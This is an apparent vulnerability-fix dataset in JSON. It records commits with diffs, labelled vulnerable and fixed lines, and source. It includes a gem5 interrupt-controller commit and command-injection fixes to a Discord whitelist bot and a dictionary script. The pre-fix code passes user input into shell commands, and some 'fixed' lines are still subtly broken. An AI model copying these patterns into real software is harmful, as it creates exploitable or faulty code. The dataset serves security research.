&command);\n+ void doInt(Yield &yield, CommandEntry &command);\n+ void inv(Yield &yield, CommandEntry &command);\n+ void invall(Yield &yield, CommandEntry &command);\n+ void vinvall(Yield &yield, CommandEntry &command);\n+ void vmapi(Yield &yield, CommandEntry &command);\n+ void vmapp(Yield &yield, CommandEntry &command);\n+ void vmapti(Yield &yield, CommandEntry &command);\n+ void vmovi(Yield &yield, CommandEntry &command);\n+ void vmovp(Yield &yield, CommandEntry &command);\n+ void vsync(Yield &yield, CommandEntry &command);\n+\n+ protected: // Helpers\n+ bool idOutOfRange(CommandEntry &command, DTE dte) const\n+ {\n+ return its.idOutOfRange(command.eventId, dte.ittRange);\n+ }\n+\n+ bool deviceOutOfRange(CommandEntry &command) const\n+ {\n+ return its.deviceOutOfRange(command.deviceId);\n+ }\n+\n+ bool sizeOutOfRange(CommandEntry &command) const\n+ {\n+ const auto size = bits(command.raw[1], 4, 0);\n+ const auto valid = bits(command.raw[2], 63);\n+ if (valid)\n+ return its.sizeOutOfRange(size);\n+ else\n+ return false;\n+ }\n+\n+ bool collectionOutOfRange(CommandEntry &command) const\n+ {\n+ return its.collectionOutOfRange(bits(command.raw[2], 15, 0));\n+ }\n+};\n+\n+#endif\ndiff --git a/src/dev/arm/gic_v3_redistributor.hh b/src/dev/arm/gic_v3_redistributor.hh\nindex 8d7de3d7a..29ff8672d 100644\n--- a/src/dev/arm/gic_v3_redistributor.hh\n+++ b/src/dev/arm/gic_v3_redistributor.hh\n@@ -37,6 +37,7 @@\n \n class Gicv3CPUInterface;\n class Gicv3Distributor;\n+class Gicv3Its;\n \n class Gicv3Redistributor : public Serializable\n {\n@@ -44,6 +45,7 @@ class Gicv3Redistributor : public Serializable\n \n friend class Gicv3CPUInterface;\n friend class Gicv3Distributor;\n+ friend class Gicv3Its;\n \n protected:\n \n", "message": "", "files": {"/src/dev/arm/Gic.py": {"changes": [{"diff": "\n from m5.SimObject import SimObject\n \n-from m5.objects.Device import PioDevice\n+from m5.objects.Device import PioDevice, BasicPioDevice\n from m5.objects.Platform import Platform\n \n class BaseGic(PioDevice):\n", "add": 1, "remove": 1, "filename": "/src/dev/arm/Gic.py", "badparts": ["from m5.objects.Device import PioDevice"], "goodparts": ["from m5.objects.Device import PioDevice, BasicPioDevice"]}], "source": "\n from m5.params import * from m5.proxy import * from m5.util.fdthelper import * from m5.SimObject import SimObject from m5.objects.Device import PioDevice from m5.objects.Platform import Platform class BaseGic(PioDevice): type='BaseGic' abstract=True cxx_header=\"dev/arm/base_gic.hh\" platform=Param.Platform(Parent.any, \"Platform this device is part of.\") gicd_iidr=Param.UInt32(0, \"Distributor Implementer Identification Register\") gicd_pidr=Param.UInt32(0, \"Peripheral Identification Register\") gicc_iidr=Param.UInt32(0, \"CPU Interface Identification Register\") gicv_iidr=Param.UInt32(0, \"VM CPU Interface Identification Register\") class ArmInterruptPin(SimObject): type='ArmInterruptPin' cxx_header=\"dev/arm/base_gic.hh\" cxx_class=\"ArmInterruptPinGen\" abstract=True platform=Param.Platform(Parent.any, \"Platform with interrupt controller\") num=Param.UInt32(\"Interrupt number in GIC\") class ArmSPI(ArmInterruptPin): type='ArmSPI' cxx_header=\"dev/arm/base_gic.hh\" cxx_class=\"ArmSPIGen\" class ArmPPI(ArmInterruptPin): type='ArmPPI' cxx_header=\"dev/arm/base_gic.hh\" cxx_class=\"ArmPPIGen\" class GicV2(BaseGic): type='GicV2' cxx_header=\"dev/arm/gic_v2.hh\" dist_addr=Param.Addr(\"Address for distributor\") cpu_addr=Param.Addr(\"Address for cpu\") cpu_size=Param.Addr(0x2000, \"Size of cpu register bank\") dist_pio_delay=Param.Latency('10ns', \"Delay for PIO r/w to distributor\") cpu_pio_delay=Param.Latency('10ns', \"Delay for PIO r/w to cpu interface\") int_latency=Param.Latency('10ns', \"Delay for interrupt to get to CPU\") it_lines=Param.UInt32(128, \"Number of interrupt lines supported(max=1020)\") gem5_extensions=Param.Bool(False, \"Enable gem5 extensions\") class Gic400(GicV2): \"\"\" As defined in: \"ARM Generic Interrupt Controller Architecture\" version 2.0 \"CoreLink GIC-400 Generic Interrupt Controller\" revision r0p1 \"\"\" gicd_pidr=0x002bb490 gicd_iidr=0x0200143B gicc_iidr=0x0202143B gicv_iidr=gicc_iidr class Gicv2mFrame(SimObject): type='Gicv2mFrame' cxx_header=\"dev/arm/gic_v2m.hh\" spi_base=Param.UInt32(0x0, \"Frame SPI base number\"); spi_len=Param.UInt32(0x0, \"Frame SPI total number\"); addr=Param.Addr(\"Address for frame PIO\") class Gicv2m(PioDevice): type='Gicv2m' cxx_header=\"dev/arm/gic_v2m.hh\" pio_delay=Param.Latency('10ns', \"Delay for PIO r/w\") gic=Param.BaseGic(Parent.any, \"Gic on which to trigger interrupts\") frames=VectorParam.Gicv2mFrame([], \"Power of two number of frames\") class VGic(PioDevice): type='VGic' cxx_header=\"dev/arm/vgic.hh\" gic=Param.BaseGic(Parent.any, \"Gic to use for interrupting\") platform=Param.Platform(Parent.any, \"Platform this device is part of.\") vcpu_addr=Param.Addr(0, \"Address for vcpu interfaces\") hv_addr=Param.Addr(0, \"Address for hv control\") pio_delay=Param.Latency('10ns', \"Delay for PIO r/w\") maint_int=Param.UInt32(\"HV maintenance interrupt number\") gicv_iidr=Param.UInt32(Self.gic.gicc_iidr, \"VM CPU Interface Identification Register\") def generateDeviceTree(self, state): gic=self.gic.unproxy(self) node=FdtNode(\"interrupt-controller\") node.appendCompatible([\"gem5,gic\", \"arm,cortex-a15-gic\", \"arm,cortex-a9-gic\"]) node.append(FdtPropertyWords(\" node.append(FdtPropertyWords(\" node.append(FdtProperty(\"interrupt-controller\")) regs=( state.addrCells(gic.dist_addr) + state.sizeCells(0x1000) + state.addrCells(gic.cpu_addr) + state.sizeCells(0x1000) + state.addrCells(self.hv_addr) + state.sizeCells(0x2000) + state.addrCells(self.vcpu_addr) + state.sizeCells(0x2000)) node.append(FdtPropertyWords(\"reg\", regs)) node.append(FdtPropertyWords(\"interrupts\", [1, int(self.maint_int)-16, 0xf04])) node.appendPhandle(gic) yield node class Gicv3(BaseGic): type='Gicv3' cxx_header=\"dev/arm/gic_v3.hh\" dist_addr=Param.Addr(\"Address for distributor\") dist_pio_delay=Param.Latency('10ns', \"Delay for PIO r/w to distributor\") redist_addr=Param.Addr(\"Address for redistributors\") redist_pio_delay=Param.Latency('10ns', \"Delay for PIO r/w to redistributors\") it_lines=Param.UInt32(1020, \"Number of interrupt lines supported(max=1020)\") maint_int=Param.ArmInterruptPin( \"HV maintenance interrupt.\" \"ARM strongly recommends that maintenance interrupts \" \"are configured to use INTID 25(PPI Interrupt).\") cpu_max=Param.Unsigned(256, \"Maximum number of PE. This is affecting the maximum number of \" \"redistributors\") gicv4=Param.Bool(True, \"GICv4 extension available\") ", "sourceWithComments": "# Copyright (c) 2012-2013, 2017-2018 ARM Limited\n# All rights reserved.\n#\n# The license below extends only to copyright in the software and shall\n# not be construed as granting a license to any other intellectual\n# property including but not limited to intellectual property relating\n# to a hardware implementation of the functionality of the software\n# licensed hereunder. You may use the software subject to the license\n# terms below provided that you ensure that this notice is replicated\n# unmodified and in its entirety in all distributions of the software,\n# modified or unmodified, in source code or in binary form.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met: redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer;\n# redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution;\n# neither the name of the copyright holders nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n# Authors: Andreas Sandberg\n\nfrom m5.params import *\nfrom m5.proxy import *\nfrom m5.util.fdthelper import *\nfrom m5.SimObject import SimObject\n\nfrom m5.objects.Device import PioDevice\nfrom m5.objects.Platform import Platform\n\nclass BaseGic(PioDevice):\n type = 'BaseGic'\n abstract = True\n cxx_header = \"dev/arm/base_gic.hh\"\n\n platform = Param.Platform(Parent.any, \"Platform this device is part of.\")\n\n gicd_iidr = Param.UInt32(0,\n \"Distributor Implementer Identification Register\")\n gicd_pidr = Param.UInt32(0,\n \"Peripheral Identification Register\")\n gicc_iidr = Param.UInt32(0,\n \"CPU Interface Identification Register\")\n gicv_iidr = Param.UInt32(0,\n \"VM CPU Interface Identification Register\")\n\nclass ArmInterruptPin(SimObject):\n type = 'ArmInterruptPin'\n cxx_header = \"dev/arm/base_gic.hh\"\n cxx_class = \"ArmInterruptPinGen\"\n abstract = True\n\n platform = Param.Platform(Parent.any, \"Platform with interrupt controller\")\n num = Param.UInt32(\"Interrupt number in GIC\")\n\nclass ArmSPI(ArmInterruptPin):\n type = 'ArmSPI'\n cxx_header = \"dev/arm/base_gic.hh\"\n cxx_class = \"ArmSPIGen\"\n\nclass ArmPPI(ArmInterruptPin):\n type = 'ArmPPI'\n cxx_header = \"dev/arm/base_gic.hh\"\n cxx_class = \"ArmPPIGen\"\n\nclass GicV2(BaseGic):\n type = 'GicV2'\n cxx_header = \"dev/arm/gic_v2.hh\"\n\n dist_addr = Param.Addr(\"Address for distributor\")\n cpu_addr = Param.Addr(\"Address for cpu\")\n cpu_size = Param.Addr(0x2000, \"Size of cpu register bank\")\n dist_pio_delay = Param.Latency('10ns', \"Delay for PIO r/w to distributor\")\n cpu_pio_delay = Param.Latency('10ns', \"Delay for PIO r/w to cpu interface\")\n int_latency = Param.Latency('10ns', \"Delay for interrupt to get to CPU\")\n it_lines = Param.UInt32(128, \"Number of interrupt lines supported (max = 1020)\")\n gem5_extensions = Param.Bool(False, \"Enable gem5 extensions\")\n\nclass Gic400(GicV2):\n \"\"\"\n As defined in:\n \"ARM Generic Interrupt Controller Architecture\" version 2.0\n \"CoreLink GIC-400 Generic Interrupt Controller\" revision r0p1\n \"\"\"\n gicd_pidr = 0x002bb490\n gicd_iidr = 0x0200143B\n gicc_iidr = 0x0202143B\n\n # gicv_iidr same as gicc_idr\n gicv_iidr = gicc_iidr\n\nclass Gicv2mFrame(SimObject):\n type = 'Gicv2mFrame'\n cxx_header = \"dev/arm/gic_v2m.hh\"\n spi_base = Param.UInt32(0x0, \"Frame SPI base number\");\n spi_len = Param.UInt32(0x0, \"Frame SPI total number\");\n addr = Param.Addr(\"Address for frame PIO\")\n\nclass Gicv2m(PioDevice):\n type = 'Gicv2m'\n cxx_header = \"dev/arm/gic_v2m.hh\"\n\n pio_delay = Param.Latency('10ns', \"Delay for PIO r/w\")\n gic = Param.BaseGic(Parent.any, \"Gic on which to trigger interrupts\")\n frames = VectorParam.Gicv2mFrame([], \"Power of two number of frames\")\n\nclass VGic(PioDevice):\n type = 'VGic'\n cxx_header = \"dev/arm/vgic.hh\"\n gic = Param.BaseGic(Parent.any, \"Gic to use for interrupting\")\n platform = Param.Platform(Parent.any, \"Platform this device is part of.\")\n vcpu_addr = Param.Addr(0, \"Address for vcpu interfaces\")\n hv_addr = Param.Addr(0, \"Address for hv control\")\n pio_delay = Param.Latency('10ns', \"Delay for PIO r/w\")\n # The number of list registers is not currently configurable at runtime.\n maint_int = Param.UInt32(\"HV maintenance interrupt number\")\n\n # gicv_iidr same as gicc_idr\n gicv_iidr = Param.UInt32(Self.gic.gicc_iidr,\n \"VM CPU Interface Identification Register\")\n\n def generateDeviceTree(self, state):\n gic = self.gic.unproxy(self)\n\n node = FdtNode(\"interrupt-controller\")\n node.appendCompatible([\"gem5,gic\", \"arm,cortex-a15-gic\",\n \"arm,cortex-a9-gic\"])\n node.append(FdtPropertyWords(\"#interrupt-cells\", [3]))\n node.append(FdtPropertyWords(\"#address-cells\", [0]))\n node.append(FdtProperty(\"interrupt-controller\"))\n\n regs = (\n state.addrCells(gic.dist_addr) +\n state.sizeCells(0x1000) +\n state.addrCells(gic.cpu_addr) +\n state.sizeCells(0x1000) +\n state.addrCells(self.hv_addr) +\n state.sizeCells(0x2000) +\n state.addrCells(self.vcpu_addr) +\n state.sizeCells(0x2000) )\n\n node.append(FdtPropertyWords(\"reg\", regs))\n node.append(FdtPropertyWords(\"interrupts\",\n [1, int(self.maint_int)-16, 0xf04]))\n\n node.appendPhandle(gic)\n\n yield node\n\nclass Gicv3(BaseGic):\n type = 'Gicv3'\n cxx_header = \"dev/arm/gic_v3.hh\"\n\n dist_addr = Param.Addr(\"Address for distributor\")\n dist_pio_delay = Param.Latency('10ns', \"Delay for PIO r/w to distributor\")\n redist_addr = Param.Addr(\"Address for redistributors\")\n redist_pio_delay = Param.Latency('10ns',\n \"Delay for PIO r/w to redistributors\")\n it_lines = Param.UInt32(1020,\n \"Number of interrupt lines supported (max = 1020)\")\n\n maint_int = Param.ArmInterruptPin(\n \"HV maintenance interrupt.\"\n \"ARM strongly recommends that maintenance interrupts \"\n \"are configured to use INTID 25 (PPI Interrupt).\")\n\n cpu_max = Param.Unsigned(256,\n \"Maximum number of PE. This is affecting the maximum number of \"\n \"redistributors\")\n\n gicv4 = Param.Bool(True, \"GICv4 extension available\")\n"}, "/src/dev/arm/RealView.py": {"changes": [{"diff": "\n \n class VExpress_GEM5_V2_Base(VExpress_GEM5_Base):\n gic = Gicv3(dist_addr=0x2c000000, redist_addr=0x2c010000,\n- maint_int=ArmPPI(num=25))\n+ maint_int=ArmPPI(num=25),\n+ its=Gicv3Its(pio_addr=0x2c120000))\n \n # Limiting to 128 since it will otherwise overlap with PCI space\n gic.cpu_max = 128\n \n def _on_chip_devices(self):\n return super(VExpress_GEM5_V2_Base,self)._on_chip_devices() + [\n- self.gic,\n+ self.gic, self.gic.its\n ]\n \n def setupBootLoader(self, mem_bus, cur_sys, loc)", "add": 3, "remove": 2, "filename": "/src/dev/arm/RealView.py", "badparts": [" maint_int=ArmPPI(num=25))", " self.gic,"], "goodparts": [" maint_int=ArmPPI(num=25),", " its=Gicv3Its(pio_addr=0x2c120000))", " self.gic, self.gic.its"]}]}}, "msg": "dev-arm: Provide a GICv3 ITS Implementation\n\nThis patch introduces the GICv3 ITS module, which is in charge of\ntranslating MSIs into physical (GICv3) and virtual (GICv4) LPIs. The\npatch is only GICv3 compliant, which means that there is no direct\nvirtual LPI injection (this also means V* commands are unimplemented)\nOther missing features are:\n\n* No 2level ITS tables (only flat table supported)\n\n* Command errors: when there is an error in the ITS, it is\nIMPLEMENTATION DEFINED on how the ITS behaves. There are three possible\nscenarios (see GICv3 TRM) and this implementation only supports one of\nthese (which is, aborting the command and jumping to the next one).\nFurter patches could make it possible to select different reactions\n\n* Invalidation commands (INV, INVALL) are only doing the memory table\nwalks, assuming the current Gicv3Redistributor is not caching any\nconfiguration table entry.\n\nChange-Id: If4ae9267ac1de7b20a04986a2af3ca3109743211\nSigned-off-by: Giacomo Travaglini \nReviewed-by: Andreas Sandberg \nReviewed-on: https://gem5-review.googlesource.com/c/public/gem5/+/18601\nMaintainer: Andreas Sandberg \nTested-by: kokoro "}}, "https://github.com/thomotron/Gatekeep": {"955660f9b3dc336ab0d5dfb4392b3ab6deac6b25": {"url": "https://api.github.com/repos/thomotron/Gatekeep/commits/955660f9b3dc336ab0d5dfb4392b3ab6deac6b25", "html_url": "https://github.com/thomotron/Gatekeep/commit/955660f9b3dc336ab0d5dfb4392b3ab6deac6b25", "message": "Filter usernames to prevent command injection", "sha": "955660f9b3dc336ab0d5dfb4392b3ab6deac6b25", "keyword": "command injection prevent", "diff": "diff --git a/bot.py b/bot.py\nindex 42183a6..ded1e95 100755\n--- a/bot.py\n+++ b/bot.py\n@@ -1,4 +1,5 @@\n #!/bin/python3\n+import re\n import discord\n from argparse import ArgumentParser\n from configparser import ConfigParser\n@@ -8,7 +9,7 @@\n \n DISCORD_PREFIX = '[Discord] '\n COMMAND_PREFIX = '#gatekeep'\n-WHITELIST_COMMAND_TEMPLATE = 'tmux send-keys -t \"0:0\" Enter \"whitelist add {}\" Enter' # Vulnerable to command injection\n+WHITELIST_COMMAND_TEMPLATE = 'tmux send-keys -t \"0:0\" Enter \"whitelist add {}\" Enter'\n \n ##### Read in our ID and secret from config ############################################################################\n \n@@ -58,9 +59,12 @@\n \n ##### Define some functions ############################################################################################\n \n-def whitelist(users: str):\n+def whitelist(channel: discord.TextChannel, users: str):\n for user in users.split():\n- call(WHITELIST_COMMAND_TEMPLATE.format(user))\n+ if not re.match(r'^[A-Za-z0-9_]{3,16}$', user): # as per https://help.mojang.com/customer/en/portal/articles/928638-minecraft-usernames?b_id=5408\n+ await channel.send('\\'{}\\' is not a valid Minecraft username'.format(user))\n+ else:\n+ call(WHITELIST_COMMAND_TEMPLATE.format(user))\n \n ##### Set up the Discord bot ###########################################################################################\n \n", "files": {"/bot.py": {"changes": [{"diff": "\n DISCORD_PREFIX = '[Discord] '\n COMMAND_PREFIX = '#gatekeep'\n-WHITELIST_COMMAND_TEMPLATE = 'tmux send-keys -t \"0:0\" Enter \"whitelist add {}\" Enter' # Vulnerable to command injection\n+WHITELIST_COMMAND_TEMPLATE = 'tmux send-keys -t \"0:0\" Enter \"whitelist add {}\" Enter'\n \n ##### Read in our ID and secret from config ############################################################################\n \n", "add": 1, "remove": 1, "filename": "/bot.py", "badparts": ["WHITELIST_COMMAND_TEMPLATE = 'tmux send-keys -t \"0:0\" Enter \"whitelist add {}\" Enter' # Vulnerable to command injection"], "goodparts": ["WHITELIST_COMMAND_TEMPLATE = 'tmux send-keys -t \"0:0\" Enter \"whitelist add {}\" Enter'"]}, {"diff": "\n ##### Define some functions ############################################################################################\n \n-def whitelist(users: str):\n+def whitelist(channel: discord.TextChannel, users: str):\n for user in users.split():\n- call(WHITELIST_COMMAND_TEMPLATE.format(user))\n+ if not re.match(r'^[A-Za-z0-9_]{3,16}$', user): # as per https://help.mojang.com/customer/en/portal/articles/928638-minecraft-usernames?b_id=5408\n+ await channel.send('\\'{}\\' is not a valid Minecraft username'.format(user))\n+ else:\n+ call(WHITELIST_COMMAND_TEMPLATE.format(user))\n \n ##### Set up the Discord bot ###########################################################################################\n \n", "add": 5, "remove": 2, "filename": "/bot.py", "badparts": ["def whitelist(users: str):", " call(WHITELIST_COMMAND_TEMPLATE.format(user))"], "goodparts": ["def whitelist(channel: discord.TextChannel, users: str):", " if not re.match(r'^[A-Za-z0-9_]{3,16}$', user): # as per https://help.mojang.com/customer/en/portal/articles/928638-minecraft-usernames?b_id=5408", " await channel.send('\\'{}\\' is not a valid Minecraft username'.format(user))", " else:", " call(WHITELIST_COMMAND_TEMPLATE.format(user))"]}], "source": "\n\nimport discord from argparse import ArgumentParser from configparser import ConfigParser from subprocess import call DISCORD_PREFIX='[Discord] ' COMMAND_PREFIX=' WHITELIST_COMMAND_TEMPLATE='tmux send-keys -t \"0:0\" Enter \"whitelist add{}\" Enter' config=ConfigParser() config_path='config.ini' config.read(config_path) if not config.sections(): print('No existing config was found') print('Copy the following blank template into ' +config_path +' and fill in the blanks:') print('[Discord]\\n' + 'client_id=\\n' + 'client_secret=\\n' + 'bot_token=\\n' + 'bot_owner=\\n' + 'bot_server=\\n') exit(1) if 'Discord' not in config: print('Failed to read config: \\'Discord\\' section missing') exit(1) if 'client_id' not in config['Discord']: print('Failed to read config: \\'client_id\\' missing from section \\'Discord\\'') exit(1) if 'bot_token' not in config['Discord']: print('Failed to read config: \\'bot_token\\' missing from section \\'Discord\\'') exit(1) if 'bot_server' not in config['Discord']: print('Failed to read config: \\'bot_server\\' missing from section \\'Discord\\'') exit(1) discord_id=config['Discord']['client_id'] discord_bot_token=config['Discord']['bot_token'] discord_bot_server=config['Discord']['bot_server'] try: discord_bot_owner=config['Discord']['bot_owner'] except KeyError: discord_bot_owner='' parser=ArgumentParser() args=parser.parse_args() def whitelist(users: str): for user in users.split(): call(WHITELIST_COMMAND_TEMPLATE.format(user)) bot=discord.Client() @bot.event async def on_ready(): print(DISCORD_PREFIX +'Bot logged in!') @bot.event async def on_message(message): if str(message.guild.id) !=discord_bot_server: return if discord_bot_owner and str(message.author.id) not in discord_bot_owner: return prefix='' if message.content.startswith(COMMAND_PREFIX): prefix=COMMAND_PREFIX elif message.content.startswith('<@' +str(discord_id) +'>'): prefix='@{} else: return async def help(): message.channel.send('Command list:\\n' + '\\n' + '`help` -Shows this help text\\n' + '`whitelist` -Add user(s) to the whitelist') args=message.content.strip().split()[1:] if not args: await message.channel.send('Usage: `{} whitelist [username...]`'.format(prefix), delete_after=30) else: if args[0]=='help': await help() elif args[0]=='whitelist': if len(args) < 1: await help() else: await whitelist(' '.join(args[1:])) await message.delete() bot.run(discord_bot_token) ", "sourceWithComments": "#!/bin/python3\nimport discord\nfrom argparse import ArgumentParser\nfrom configparser import ConfigParser\nfrom subprocess import call\n\n##### Define some constants ############################################################################################\n\nDISCORD_PREFIX = '[Discord] '\nCOMMAND_PREFIX = '#gatekeep'\nWHITELIST_COMMAND_TEMPLATE = 'tmux send-keys -t \"0:0\" Enter \"whitelist add {}\" Enter' # Vulnerable to command injection\n\n##### Read in our ID and secret from config ############################################################################\n\nconfig = ConfigParser()\nconfig_path = 'config.ini'\nconfig.read(config_path)\n\nif not config.sections():\n print('No existing config was found')\n print('Copy the following blank template into ' + config_path + ' and fill in the blanks:')\n print('[Discord]\\n' +\n 'client_id = \\n' +\n 'client_secret = \\n' +\n 'bot_token = \\n' +\n 'bot_owner = \\n' +\n 'bot_server = \\n')\n exit(1)\n\nif 'Discord' not in config:\n print('Failed to read config: \\'Discord\\' section missing')\n exit(1)\nif 'client_id' not in config['Discord']:\n print('Failed to read config: \\'client_id\\' missing from section \\'Discord\\'')\n exit(1)\nif 'bot_token' not in config['Discord']:\n print('Failed to read config: \\'bot_token\\' missing from section \\'Discord\\'')\n exit(1)\n# if 'bot_owner' not in config['Discord']:\n# print('Failed to read config: \\'bot_owner\\' missing from section \\'Discord\\'')\n# exit(1)\nif 'bot_server' not in config['Discord']:\n print('Failed to read config: \\'bot_server\\' missing from section \\'Discord\\'')\n exit(1)\n\ndiscord_id = config['Discord']['client_id']\ndiscord_bot_token = config['Discord']['bot_token']\ndiscord_bot_server = config['Discord']['bot_server']\ntry:\n discord_bot_owner = config['Discord']['bot_owner']\nexcept KeyError:\n discord_bot_owner = ''\n\n##### Parse arguments ##################################################################################################\n\nparser = ArgumentParser()\nargs = parser.parse_args()\n\n##### Define some functions ############################################################################################\n\ndef whitelist(users: str):\n for user in users.split():\n call(WHITELIST_COMMAND_TEMPLATE.format(user))\n\n##### Set up the Discord bot ###########################################################################################\n\nbot = discord.Client()\n\n@bot.event\nasync def on_ready():\n print(DISCORD_PREFIX + 'Bot logged in!')\n\n@bot.event\nasync def on_message(message):\n # Declare this globally here, since we use it early on, /and/ in a command\n #global discord_bot_channel\n\n # Make sure this is from the desired server\n if str(message.guild.id) != discord_bot_server:\n # print(DISCORD_PREFIX + 'Got a message from server {} channel {}, expected server {}'.format(message.guild.id, message.channel.id, discord_bot_server))\n return\n\n # If the bot owner is set, make sure this is from them\n if discord_bot_owner and str(message.author.id) not in discord_bot_owner:\n # print(DISCORD_PREFIX + 'Got a message from user {}, expected user {}'.format(message.author.id, discord_bot_owner))\n return\n\n # Determine what prefix was used to address us, if any\n prefix = ''\n if message.content.startswith(COMMAND_PREFIX):\n prefix = COMMAND_PREFIX\n elif message.content.startswith('<@' + str(discord_id) + '>'):\n prefix = '@{}#{}'.format(bot.user.name, bot.user.discriminator)\n else:\n # We weren't addressed, we can stop here\n return\n\n # Define a help function\n async def help():\n message.channel.send('Command list:\\n' +\n '\\n' +\n '`help` - Shows this help text\\n' +\n '`whitelist` - Add user(s) to the whitelist')\n\n # Split the command into arguments\n args = message.content.strip().split()[1:]\n\n # Return a message if no args are provided\n if not args:\n await message.channel.send('Usage: `{} whitelist [username...]`'.format(prefix), delete_after=30)\n else:\n # Filter what command came through\n if args[0] == 'help':\n await help()\n\n elif args[0] == 'whitelist':\n if len(args) < 1:\n await help()\n else:\n await whitelist(' '.join(args[1:]))\n\n\n # Delete the command\n await message.delete()\n\n##### Start the Discord bot ############################################################################################\n\nbot.run(discord_bot_token)\n"}}, "msg": "Filter usernames to prevent command injection"}}, "https://github.com/kelj0/LearningPython": {"2563088bf44f4d5e7f7d65f3c41f12fdaef4a1e4": {"url": "https://api.github.com/repos/kelj0/LearningPython/commits/2563088bf44f4d5e7f7d65f3c41f12fdaef4a1e4", "html_url": "https://github.com/kelj0/LearningPython/commit/2563088bf44f4d5e7f7d65f3c41f12fdaef4a1e4", "message": "fix command injection", "sha": "2563088bf44f4d5e7f7d65f3c41f12fdaef4a1e4", "keyword": "command injection fix", "diff": "diff --git a/SmallProjects/Define/define.py b/SmallProjects/Define/define.py\nindex 4ce9b60..c4d6964 100644\n--- a/SmallProjects/Define/define.py\n+++ b/SmallProjects/Define/define.py\n@@ -22,10 +22,10 @@ def main():\n try: \n data = json.loads(req.text)['data']['content'][0]['entries'][0]['posBlocks'][0]['definitions']\n except TypeError:\n- os.system('notify-send \"Cant find |%s| on dictionary.com!\"' % word)\n+ os.system('notify-send \"Cant find that word on dictionary.com!\"')\n wordChc = True\n except KeyError:\n- os.system('notify-send \"Cant find |%s| on dictionary.com!\"' % word)\n+ os.system('notify-send \"Cant find that word on dictionary.com!\"')\n wordChc = True\n \n if not wordChc:\n@@ -34,17 +34,16 @@ def main():\n for definition in data[:3]:\n definitions.append(cleanhtml(definition['definition']))\n definitions.append(\"------------\")\n- os.system('notify-send \"definitions from dictionary.com:[{}\\n{}\"'\\\n- .format(word+\"]\\n------------\",'\\n'.join(definitions)))\n+ os.system('notify-send \"definitions from dictionary.com:\\n{}\"'.format('\\n'.join(definitions)))\n except KeyError:\n os.system('notify-send \"no results in dictionary.com\"')\n try: \n dataURB = json.loads(reqURB.text)['list']\n except TypeError:\n- os.system('notify-send \"Cant find |%s| on urbandictionary.com!\"' % word)\n+ os.system('notify-send \"Cant find that word on urbandictionary.com!\"' % word)\n wordChcURB = True\n except KeyError:\n- os.system('notify-send \"Cant find |%s| on urbandictionary.com!\"' % word)\n+ os.system('notify-send \"Cant find that word on urbandictionary.com!\"' % word)\n wordChcURB = True\n \n if not wordChcURB: \n@@ -52,8 +51,7 @@ def main():\n for definition in dataURB[:3]:\n definitionsURB.append(definition['definition'])\n definitionsURB.append(\"------------\")\n- os.system('notify-send \"definitions from urbandictionary.com:[{}\\n{}\"'\\\n- .format(word+\"]\\n------------\",'\\n'.join(definitionsURB)))\n+ os.system('notify-send \"definitions from urbandictionary.com:\\n{}\"'.format('\\n'.join(definitionsURB)))\n os.system('notify-send \"Thank you for using define.py made by kelj0\"')\n \n \n", "files": {"/SmallProjects/Define/define.py": {"changes": [{"diff": "\n try: \n data = json.loads(req.text)['data']['content'][0]['entries'][0]['posBlocks'][0]['definitions']\n except TypeError:\n- os.system('notify-send \"Cant find |%s| on dictionary.com!\"' % word)\n+ os.system('notify-send \"Cant find that word on dictionary.com!\"')\n wordChc = True\n except KeyError:\n- os.system('notify-send \"Cant find |%s| on dictionary.com!\"' % word)\n+ os.system('notify-send \"Cant find that word on dictionary.com!\"')\n wordChc = True\n \n if not wordChc:\n", "add": 2, "remove": 2, "filename": "/SmallProjects/Define/define.py", "badparts": [" os.system('notify-send \"Cant find |%s| on dictionary.com!\"' % word)", " os.system('notify-send \"Cant find |%s| on dictionary.com!\"' % word)"], "goodparts": [" os.system('notify-send \"Cant find that word on dictionary.com!\"')", " os.system('notify-send \"Cant find that word on dictionary.com!\"')"]}, {"diff": "\n for definition in data[:3]:\n definitions.append(cleanhtml(definition['definition']))\n definitions.append(\"------------\")\n- os.system('notify-send \"definitions from dictionary.com:[{}\\n{}\"'\\\n- .format(word+\"]\\n------------\",'\\n'.join(definitions)))\n+ os.system('notify-send \"definitions from dictionary.com:\\n{}\"'.format('\\n'.join(definitions)))\n except KeyError:\n os.system('notify-send \"no results in dictionary.com\"')\n try: \n dataURB = json.loads(reqURB.text)['list']\n except TypeError:\n- os.system('notify-send \"Cant find |%s| on urbandictionary.com!\"' % word)\n+ os.system('notify-send \"Cant find that word on urbandictionary.com!\"' % word)\n wordChcURB = True\n except KeyError:\n- os.system('notify-send \"Cant find |%s| on urbandictionary.com!\"' % word)\n+ os.system('notify-send \"Cant find that word on urbandictionary.com!\"' % word)\n wordChcURB = True\n \n if not wordChcURB: \n", "add": 3, "remove": 4, "filename": "/SmallProjects/Define/define.py", "badparts": [" os.system('notify-send \"definitions from dictionary.com:[{}\\n{}\"'\\", " .format(word+\"]\\n------------\",'\\n'.join(definitions)))", " os.system('notify-send \"Cant find |%s| on urbandictionary.com!\"' % word)", " os.system('notify-send \"Cant find |%s| on urbandictionary.com!\"' % word)"], "goodparts": [" os.system('notify-send \"definitions from 